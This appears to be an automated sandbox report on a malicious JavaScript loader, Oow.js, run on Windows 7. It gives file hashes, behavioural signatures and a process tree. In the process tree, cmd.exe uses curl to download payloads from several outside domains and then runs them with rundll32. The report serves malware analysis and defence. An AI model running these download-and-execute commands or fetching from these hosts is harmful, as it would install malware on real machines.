d95c987423f2a2df57dccd6d9457804edddf58e28ba59cf22e8efc6beee7da09

Analysis

max time kernel
119s
max time network
135s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 15:27

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General

Target

Oow.js
Size

111KB
MD5

181347abdbadb59298f2991f72622795
SHA1

7a7cde7fe72e6afc46d0fe557e2a4be26cea86f6
SHA256

000a5696c9efbd41eadef6758011c1eb13bcc18afa4393e2ac80b87e5807a308
SHA512

3423ab38140529f5a0bee96f9907de3245ad37db50d0fe4fec95c76c2971bb87b5c6802df6fb01e9adaefd61d5fe9b14c6458fb0e2085df9876c31b0d76ecadd
SSDEEP

3072:ObyPIRHE/jmBzAat20IiTm2m2dQJ5/uw82FIOiZ23X:WIaw0Tk856X

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2512	wscript.exe
5	2512	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
888	timeout.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 2044	2512	wscript.exe	28
PID 2512 wrote to memory of 2044	2512	wscript.exe	28
PID 2512 wrote to memory of 2044	2512	wscript.exe	28
PID 2512 wrote to memory of 2644	2512	wscript.exe	30
PID 2512 wrote to memory of 2644	2512	wscript.exe	30
PID 2512 wrote to memory of 2644	2512	wscript.exe	30
PID 2512 wrote to memory of 744	2512	wscript.exe	32
PID 2512 wrote to memory of 744	2512	wscript.exe	32
PID 2512 wrote to memory of 744	2512	wscript.exe	32
PID 2512 wrote to memory of 1744	2512	wscript.exe	34
PID 2512 wrote to memory of 1744	2512	wscript.exe	34
PID 2512 wrote to memory of 1744	2512	wscript.exe	34
PID 2512 wrote to memory of 336	2512	wscript.exe	36
PID 2512 wrote to memory of 336	2512	wscript.exe	36
PID 2512 wrote to memory of 336	2512	wscript.exe	36
PID 2512 wrote to memory of 2816	2512	wscript.exe	38
PID 2512 wrote to memory of 2816	2512	wscript.exe	38
PID 2512 wrote to memory of 2816	2512	wscript.exe	38
PID 2512 wrote to memory of 2832	2512	wscript.exe	40
PID 2512 wrote to memory of 2832	2512	wscript.exe	40
PID 2512 wrote to memory of 2832	2512	wscript.exe	40
PID 2512 wrote to memory of 904	2512	wscript.exe	42
PID 2512 wrote to memory of 904	2512	wscript.exe	42
PID 2512 wrote to memory of 904	2512	wscript.exe	42
PID 904 wrote to memory of 888	904	cmd.exe	44
PID 904 wrote to memory of 888	904	cmd.exe	44
PID 904 wrote to memory of 888	904	cmd.exe	44
PID 904 wrote to memory of 1692	904	cmd.exe	45
PID 904 wrote to memory of 1692	904	cmd.exe	45
PID 904 wrote to memory of 1692	904	cmd.exe	45

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Oow.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Tkfogibkofb\Copfkviglx & curl https://doorbell.api.net.bd/j2l1/0.2611342481299383.dat --output C:\Tkfogibkofb\Copfkviglx\Nkfskfkvosfjg.OOOOCCCCXXXX
  2⤵
  PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Tkfogibkofb\Copfkviglx & curl https://fineclippingpath.com/zD6AAu/0.5961364156082793.dat --output C:\Tkfogibkofb\Copfkviglx\Nkfskfkvosfjg.OOOOCCCCXXXX
  2⤵
  PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Tkfogibkofb\Copfkviglx & curl https://expressreparation.com/cBB/0.2012176785846902.dat --output C:\Tkfogibkofb\Copfkviglx\Nkfskfkvosfjg.OOOOCCCCXXXX
  2⤵
  PID:744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Tkfogibkofb\Copfkviglx & curl https://sakshiconstructioncompany.com/bc1WDy2/0.16719481926029295.dat --output C:\Tkfogibkofb\Copfkviglx\Nkfskfkvosfjg.OOOOCCCCXXXX
  2⤵
  PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Tkfogibkofb\Copfkviglx & curl https://po-iq.org/l8BFIV6/0.49035560911163284.dat --output C:\Tkfogibkofb\Copfkviglx\Nkfskfkvosfjg.OOOOCCCCXXXX
  2⤵
  PID:336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Tkfogibkofb\Copfkviglx & curl 0.10839535118282806.dat --output C:\Tkfogibkofb\Copfkviglx\Nkfskfkvosfjg.OOOOCCCCXXXX
  2⤵
  PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Tkfogibkofb\Copfkviglx & curl 0.9851647467464881.dat --output C:\Tkfogibkofb\Copfkviglx\Nkfskfkvosfjg.OOOOCCCCXXXX
  2⤵
  PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Tkfogibkofb\Copfkviglx\Nkfskfkvosfjg.OOOOCCCCXXXX,Enter
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\system32\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:888
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\Tkfogibkofb\Copfkviglx\Nkfskfkvosfjg.OOOOCCCCXXXX,Enter
    3⤵
    PID:1692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab713C.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

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C:\Users\Admin\AppData\Local\Temp\Tar719C.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

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